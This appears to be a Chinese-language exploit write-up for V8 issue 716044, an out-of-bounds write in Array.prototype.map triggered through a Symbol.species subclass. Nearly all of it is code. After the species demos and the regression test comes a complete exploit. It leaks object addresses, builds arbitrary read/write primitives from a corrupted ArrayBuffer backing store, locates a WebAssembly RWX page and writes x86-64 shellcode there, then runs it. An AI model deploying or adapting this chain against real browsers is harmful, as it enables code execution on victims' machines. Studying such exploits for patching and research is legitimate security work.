Issue 716044 Array.prototype.map越界写漏洞分析

class MyArray extends Array {}
const a = new MyArray(1,2,3);
const b = a.map(x => x);
const c = a.filter(x => x > 1);
console.log(b);
console.log(c);
console.log(b instanceof MyArray); //true

class MyArray extends Array{
    static get [Symbol.species] () {
        return Array;
    }
 }

class MyArray extends Array {
    static get [Symbol.species] (){
        return this;
    }
}

class MyArray extends Array {
  // 覆盖 species 到父级的 Array 构造函数上
  static get [Symbol.species]() { return Array; }
}
var a = new MyArray(1,2,3);
var mapped = a.map(x => x * x);

console.log(mapped instanceof MyArray); // false
console.log(mapped instanceof Array);   // true

// Copyright 2017 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Flags: --verify-heap
class Array1 extends Array {
	constructor(len) {
	super(1);
	}
};
class MyArray extends Array {
	static get [Symbol.species]() {
		return Array1;
	}
}
a = new MyArray();
for (var i = 0; i < 100000; i++) {
	a.push(1);
}

a.map(function(x) { return 42; });

Array.prototype.map = function (callback) {
	var Species = this.constructor[Symbol.species];
	var returnValue = new Species(this.length);
	this.forEach(function (item, index, array) {
		returnValue[index] = callback(item, index, array);
	});
	return returnValue;
}

var float_array;
function hex(i)
{
	return i.toString(16).padStart(16, "0");
}

class Array1 extends Array {
	constructor(len) {
	super(1);
	float_array = [1.1, 2.2];
	}
};
class MyArray extends Array {
	static get [Symbol.species]() {
		return Array1;
	}
}

o_ = new MyArray();// 这里和o_ 和 a_ 可以等效于v8源码中的o_ 和 a_, 命名成这样，方便理解

o_[2] = 3;
o_[8] = 9;

var a_ = o_.map(function(x) { return 0xddaa; });
%DebugPrint(o_);
%DebugPrint(a_);
console.log("a_ length is : 0x" + hex(a_.length));
console.log("float_array length is : 0x" + hex(float_array.length));

var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var Uint32 = new Uint32Array(buf);
function f2i(f)
{
	float64[0] = f;
	let tmp = Array.from(Uint32);
	return tmp[1] * 0x100000000 + tmp[0]; 
}

function i2f(i)
{
	let tmp = [];
	tmp[0] = parseInt(i % 0x100000000);
	tmp[1] = parseInt((i-tmp[0]) / 0x100000000);
	Uint32.set(tmp);
	return float64[0];
}

function hex(i)
{
	return i.toString(16).padStart(16, "0");
}

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var wasm_function = wasmInstance.exports.main;

var oobArray;
var data_buf;
var obj;

class Array1 extends Array{
	constructor(len){
		super(1);
		oobArray = [1.1, 2.2];
		data_buf = new ArrayBuffer(0x233);
		obj = {mark: 1111222233334444, obj: wasm_function};
	}
};


class MyArray extends Array{
	static get [Symbol.species](){
		return Array1;
	}
};

a = new MyArray();
a[8] = 6;

var b = a.map(function(x) {return 1000;});

var float_obj_idx = 0;
for(let i=0; i < 0x100; i++)
{
	if(f2i(oobArray[i]) == 0x430f9534b3e01560){
		float_obj_idx = i + 1;
		console.log("[+] find wasm_function obj : 0x" + hex(f2i(oobArray[float_obj_idx])));
		break;
	}
}
var wasm_function_addr = f2i(oobArray[float_obj_idx]) - 0x1;

//------ find backing_store

var float_buffer_idx = 0;
for(let i=0; i < 0x1000; i++)
{
	if(f2i(oobArray[i]) == 0x0000023300000000){
		float_buffer_idx = i + 1;
		console.log("[+] find data_buf backing_store : 0x" + hex(f2i(oobArray[float_buffer_idx])));
		break;
	}
}

//----- arbitrary read

var data_view = new DataView(data_buf);

function dataview_read64(addr)
{
	oobArray[float_buffer_idx] = i2f(addr);
	return f2i(data_view.getFloat64(0, true));
}

//----- arbitrary write
function dataview_write(addr, payload)
{
	oobArray[float_buffer_idx] = i2f(addr);
	for(let i=0; i < payload.length; i++)
	{
		data_view.setUint8(i, payload[i]);
	}
}

//-----  find wasm_code_rwx_addr 

var wasm_shared_info = dataview_read64(wasm_function_addr + 0x20);
console.log("[+] find wasm_shared_info : 0x" + hex(wasm_shared_info));

var wasm_code = dataview_read64(wasm_shared_info - 0x1 + 0x8);
console.log("[+] find wasm_code : 0x" + hex(wasm_code));

var wasm_rwx = wasm_code - 0xc1 + 0x140; 
console.log("[+] find wasm_rwx : 0x" + hex(wasm_rwx));

//write shellcode to wasm
var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];

dataview_write(wasm_rwx, shellcode);

wasm_function();